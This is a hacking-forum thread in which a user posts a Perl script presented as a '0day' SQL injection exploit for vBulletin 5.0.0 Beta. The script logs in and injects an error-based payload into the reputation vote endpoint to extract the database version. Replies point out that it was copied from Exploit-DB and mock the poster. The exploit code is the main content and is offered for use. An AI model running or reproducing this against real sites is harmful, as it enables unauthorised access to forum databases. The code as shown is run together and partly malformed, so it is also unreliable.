

Forum:[Hack Forums](#)

Thread: [vBulletin 5.0.0 all Beta releases SQL Injection Exploit 0day](#)

h4rdkor - June 5, 2014, 10:10 am

```
Code #!/usr/bin/perluse LWP::UserAgent;use HTTP::Cookies;use HTTP::Request::Common;use MIME::Base64;system $^O eq 'MSWin32' ? 'cls' : 'clear';print "+=====+| vBulletin 5 Beta XX SQLi 0day |+=====+";if (@ARGV != 5) { print "\n\nUsage: perl vb5exp.pl WWW.HOST.COM VBPATH URUSER URPASS MAGICNUM\n\n"; exit;}$host = $ARGV[0];$path = $ARGV[1];$username = $ARGV[2];$password = $ARGV[3];$magicnum = $ARGV[4];$encpath = encode_base64('http://'.$host.$path);print "[+] Logging\n";print "[+] Username: ".$username."\n";print "[+] Password: ".$password."\n";print "[+] MagicNum: ".$magicnum."\n";print "[+] " . $host.$path."auth/login\n";my $browser = LWP::UserAgent->new;my $cookie_jar = HTTP::Cookies->new;my $response = $browser->post('http://'.$host.$path.'auth/login', [ 'url' => $encpath, 'username' => $username, 'password' => $password, ], Referer => 'http://'.$host.$path.'auth/login-form?url=http://'.$host.$path.', User-Agent => 'Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0');$browser->cookie_jar($cookie_jar);my $browser = LWP::UserAgent->new;$browser->cookie_jar($cookie_jar);print "[+] Requesting\n";my $response = $browser->post('http://'.$host.$path.'index.php/ajax/api/reputation/vote', [ 'nodeid' => $magicnum.']) and(select 1 from(select count(*),concat((select (select concat(0x23,cast(version() as char),0x23)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) AND (1338=1338', [ ], User-Agent => 'Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0');$data = $response->content;if ($data =~ /(#[\.\.])[(^\\#)]*)/) { print "[+] Version: ".$1 };print "\n";exit 1;
enjoy
```

SIM-1866423 - June 5, 2014, 10:15 am

<http://www.youtube.com/watch?v=8CMNnXVUC8I>

2013 ?

-DownFall - June 5, 2014, 10:20 am

Exploit Author: Orestis Kourides

[Exploit-DB](#)

hahdbwoannniabs - June 5, 2014, 1:06 pm

lol congrats skid this was released in 2013 on exploit-db

JibzZ156 - June 5, 2014, 6:30 pm

Nice job. Keep it up. Your doing awesome. Helped me a lot

WACKO - June 5, 2014, 7:00 pm

(Jun 5, 2014 06:30 PM)JibzZ156 Wrote: [\[CITE\]](#) Nice job. Keep it up. Your doing awesome. Helped me a lot

Lol. You clearly didn't read the posts above yours.

pwntoken - June 6, 2014, 12:10 am

(Jun 5, 2014 07:00 PM)WACKO Wrote: [\[CITE\]](#) Lol. You clearly didn't read the posts above yours.

haha, a lot of people come here making there reputation based on post counts and hence do not give a fuck! I am against this compeltely. Since he did not really read the posts, what's the point of a forum? ?